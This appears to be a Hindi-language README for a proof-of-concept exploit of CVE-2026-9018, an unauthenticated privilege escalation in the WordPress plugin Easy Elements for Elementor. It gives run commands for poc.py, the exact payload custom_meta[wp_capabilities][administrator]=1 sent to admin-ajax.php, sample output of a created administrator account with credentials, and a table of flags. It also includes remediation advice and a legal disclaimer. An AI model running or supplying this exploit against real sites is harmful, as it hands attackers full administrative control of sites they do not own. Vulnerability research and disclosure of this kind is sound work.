
Unauthenticated Privilege Escalation CVE-2026-9018: Easy Elements for Elementor
शोधकर्ता: Atomic Edge गंभीरता: उच्च | CVSS: 8.8 | प्रमाणीकरण आवश्यक: कोई नहीं
Easy Elements for Elementor – Addons & Website Templates WordPress प्लगइन (संस्करण ≤ 1.4.5) में एक अप्रमाणित विशेषाधिकार वृद्धि भेद्यता मौजूद है। wp_ajax_nopriv_eel_register AJAX हैंडलर के माध्यम से उजागर easyel_handle_register() फ़ंक्शन, बिना किसी कुंजी श्वेतसूची के, custom_meta POST मानों को सीधे update_user_meta() में पास करता है। यह एक अप्रमाणित हमलावर को wp_capabilities मेटा कुंजी को अधिलेखित करने और प्रशासक-स्तरीय खाता बनाने की अनुमति देता है।
शोषण से पहले, लक्ष्य साइट पर निम्नलिखित शर्तें पूरी होनी चाहिए:
सेटिंग्स → सामान्य → कोई भी पंजीकरण कर सकता है)easy_elements_nonce मान को उजागर करता है।pip install requests
# बुनियादी — होमपेज से नॉन्स प्राप्त करें
python3 poc.py -u https://target.com
# कस्टम क्रेडेंशियल
python3 poc.py -u https://target.com -U hacker -e [email protected] -p P@ssw0rd!
# विजेट /login/ पेज पर है
python3 poc.py -u https://target.com --nonce-page /login/
# SSL सत्यापन छोड़ें
python3 poc.py -u https://target.com --no-verify
# शोषण के बाद लॉगिन जाँच छोड़ें
python3 poc.py -u https://target.com --skip-verify-login
[*] से नॉन्स प्राप्त किया जा रहा है: https://target.com/login/
[+] नॉन्स मिला: a1b2c3d4e5
[*] विशेषाधिकार वृद्धि पेलोड भेजा जा रहा है: https://target.com/wp-admin/admin-ajax.php
[*] उपयोगकर्ता नाम : atomic_admin
[*] ईमेल : [email protected]
[*] भूमिका : administrator (wp_capabilities अधिलेखन के माध्यम से)
[+] HTTP स्थिति : 200
[✓] विशेषाधिकार वृद्धि पेलोड स्वीकृत!
[✓] व्यवस्थापक लॉगिन की पुष्टि हुई!
┌─────────────────────────────────────────┐
│ WP व्यवस्थापक : https://target.com/wp-admin/
│ उपयोगकर्ता नाम : atomic_admin
│ पासवर्ड : Atomic@Edge2026!
└─────────────────────────────────────────┘
शोषण दो-चरणीय प्रक्रिया का पालन करता है:
चरण 1 — नॉन्स संग्रहण
प्लगइन का लॉगिन/रजिस्टर Elementor विजेट पेज HTML में एक छिपा हुआ easy_elements_nonce फ़ील्ड प्रस्तुत करता है। यह नॉन्स किसी भी अप्रमाणित आगंतुक के लिए सार्वजनिक रूप से सुलभ है और पेज स्रोत से regex के माध्यम से निकाला जाता है।
चरण 2 — दुर्भावनापूर्ण पंजीकरण
एक POST अनुरोध /wp-admin/admin-ajax.php पर action=eel_register के साथ भेजा जाता है। custom_meta सरणी में शामिल करने के लिए तैयार किया गया है:
custom_meta[wp_capabilities][administrator] = 1
चूँकि easyel_handle_register() सभी custom_meta कुंजियों को बिना श्वेतसूची के सीधे update_user_meta() में पास करता है, पंजीकरण के बाद wp_capabilities उपयोगकर्ता मेटा अधिलेखित हो जाती है, जिससे नए उपयोगकर्ता को पूर्ण व्यवस्थापक विशेषाधिकार मिल जाते हैं।
डेवलपर्स को easyel_handle_register() में निम्नलिखित सुधार लागू करने चाहिए:
custom_meta कुंजियों की सख्त श्वेतसूची लागू करें (जैसे, first_name, last_name, phone)wp_capabilities, wp_user_level, session_tokenswp_insert_user() के बाद किसी भी उपयोगकर्ता-आपूर्ति मेटा को संसाधित करने से बचें→ तुरंत Easy Elements for Elementor 1.4.6 या उसके बाद के संस्करण में अपडेट करें।
यह रिपॉजिटरी केवल अधिकृत सुरक्षा अनुसंधान और शैक्षणिक उद्देश्यों के लिए है। इस उपकरण का उपयोग किसी भी सिस्टम के विरुद्ध तब तक न करें जब तक कि सिस्टम स्वामी से स्पष्ट लिखित अनुमति प्राप्त न हो। अनधिकृत उपयोग CFAA (USA), आपराधिक संहिता s.342.1 (Canada), EU NIS2 निर्देश, और अन्य लागू कानूनों का उल्लंघन कर सकता है। लेखक इस कोड के दुरुपयोग या इससे उत्पन्न होने वाली क्षति के लिए कोई देयता स्वीकार नहीं करते।
| गुण | विवरण |
|---|
| प्लगइन | Easy Elements for Elementor – Addons & Website Templates (easy-elements) |
| प्रभावित | ≤ 1.4.5 |
| समाधान संस्करण | 1.4.6+ |
| वेक्टर | नेटवर्क / अप्रमाणित |
| CWE | CWE-269: अनुचित विशेषाधिकार प्रबंधन |
| AJAX क्रिया | eel_register (nopriv) |
| ध्वज | विवरण | डिफ़ॉल्ट |
|---|
-u, --url | लक्ष्य WordPress URL | (आवश्यक) |
-U, --username | नए व्यवस्थापक खाते के लिए उपयोगकर्ता नाम | atomic_admin |
-e, --email | नए व्यवस्थापक खाते के लिए ईमेल | [email protected] |
-p, --password | नए व्यवस्थापक खाते के लिए पासवर्ड | Atomic@Edge2026! |
-np, --nonce-page | लॉगिन/रजिस्टर विजेट वाले पेज का पथ | / |
--no-verify | SSL प्रमाणपत्र सत्यापन अक्षम करें | false |
--skip-verify-login | शोषण के बाद WP व्यवस्थापक लॉगिन सत्यापन छोड़ें | false |